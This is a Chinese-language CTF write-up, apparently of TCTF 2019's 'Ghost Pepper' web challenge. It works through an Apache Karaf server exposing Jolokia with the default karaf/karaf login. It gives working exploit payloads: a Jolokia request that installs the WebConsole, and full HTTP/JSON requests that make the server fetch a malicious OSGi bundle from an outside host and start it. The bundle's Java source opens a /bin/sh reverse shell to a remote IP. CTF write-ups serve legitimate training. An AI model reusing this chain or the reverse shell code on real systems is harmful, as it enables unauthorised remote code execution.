本次writeup,纯属复现 : )

0x01 Ghost Pepper

题目地址

访问题目,提示该站点是Karaf,需要输入用户名和密码:

Karaf是一个基于OSGi的框架,而OSGi是一个Java平台,允许在运行时管理应用程序组件的生命周期,而无需重新启动应用程序。我们可以在应用程序运行时在运行时添加/删除/替换组件,部署多个版本等。Karaf框架中的用户名和密码默认均为karaf,输入进去后是个404页面:

页面显示是使用Jetty作为Web服务器的,除此之外没找到更多的信息。

搜一下题目Ghost pepper,在Wiki百科发现其别名为Bhut jolokia,然后再搜索一遍Bhut jolokia,发现Jolokia是一个JMX-HTTP桥接器,可替代JSR-160连接器。它是一种基于代理的方法,支持许多平台。除了基本的JMX操作之外,它还通过批量请求和细粒度安全策略等独特功能增强了JMX远程处理功能。

那就是说,该站点应该支持Jolokia,访问一下该路径看看,果然返回了Json格式的数据:

访问list,列出Jolokia所支持的所有操作:

这里只列下前面的Java类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
java.util.logging
org.eclipse.jetty.server.session
org.ops4j.pax.web.service.jetty.internal
org.eclipse.jetty.jmx
osgi.compendium
java.nio
org.apache.karaf
JMImplementation
org.eclipse.jetty.util.thread
java.lang
com.sun.management
jmx4perl
connector
sun.nio.ch
org.eclipse.jetty.server
org.apache.aries.blueprint
org.eclipse.jetty.io
osgi.core
jolokia

注意到org.apache.karaf这个类,就是说我们可以通过Karaf JMX执行各种操作。下面就来找下该karaf类所支持的所有方法:

其中可以看到很多操作命名为install,因此我们可以利用这些API来加载安装并部署我们直接编写的恶意jar程序。

下面有两种方法来解它。

Method1——安装WebConsole

Karaf框架是拥有一个WebConsole的,可以通过Web端进行控制台的交互,前面我们获取了org.apache.karaf的所有支持的方法,找到其中的installFeature(),编写如下安装WebConsole的payload:

1
http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole

然后在URL栏访问Karaf的WebConsole界面,直接输入命令即可得到flag:

1
http://111.186.63.207:31337/system/console/gogo

Method2——安装恶意bundle

在之前的org.apache.karaf类中,还可以参考这篇文章通过install方法来进行利用。

除了该类外,还可以通过osgi.core的installBundleFromURL,这个方法可以通过URL来安装bundle,我们可以通过如下的方法找到该方法:

此时我们可以构造一个恶意bundle打包成jar放置在我们自己的服务器中,然后访问Karaf服务让其下载并安装部署我们的恶意bundle从而实现反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;

import java.io.*;
import java.net.Socket;


public class Activator
implements BundleActivator
{
public void start(BundleContext paramBundleContext)
throws Exception
{
String str = "1.2.3.4";
int i = 12345;

Socket localSocket = new Socket(str, i);

localSocket.getOutputStream().write("Mi1k7ea".getBytes());
localSocket.getOutputStream().flush();
// localSocket.close();
try
{
String ShellPath;
ShellPath = new String("/bin/sh");
Socket socket = new Socket( str, i );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
process.waitFor();
} catch( Exception e ) {}
localSocket.getOutputStream().write("Mi1k7ea".getBytes());
localSocket.getOutputStream().flush();
localSocket.close();
}

public void stop(BundleContext paramBundleContext)
throws Exception
{
System.out.println("RIP");
}
}

获取一下该类的uuid:

然后通过installBundleFromURL方法来下载安装恶意bundle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /jolokia/list HTTP/1.1
Host: 111.186.63.207:31337
Cache-Control: max-age=0
Authorization: Basic a2FyYWY6a2FyYWY=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=h1fouerlv92j1nzj1rn7f4hyu
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

{
"type": "exec",
"mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,uuid=089717e7-f953-42ec-959f-cd2488bc6482,version=1.7",
"operation": "installBundleFromURL",
"arguments": [
"moxiaoxi",
"http://a.com:666/m7.jar"
]
}

通过response的id,来启动bundle,就可以获得一个反弹shell:

1
{ "type": "exec", "mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,version=1.7,uuid=089717e7-f953-42ec-959f-cd2488bc6482", "operation": "startBundle", "arguments": [ "93" ] }

0x02 Wallbreaker Easy

题目地址,已关闭。

环境待复现…

参考

TCTF2019 Web WP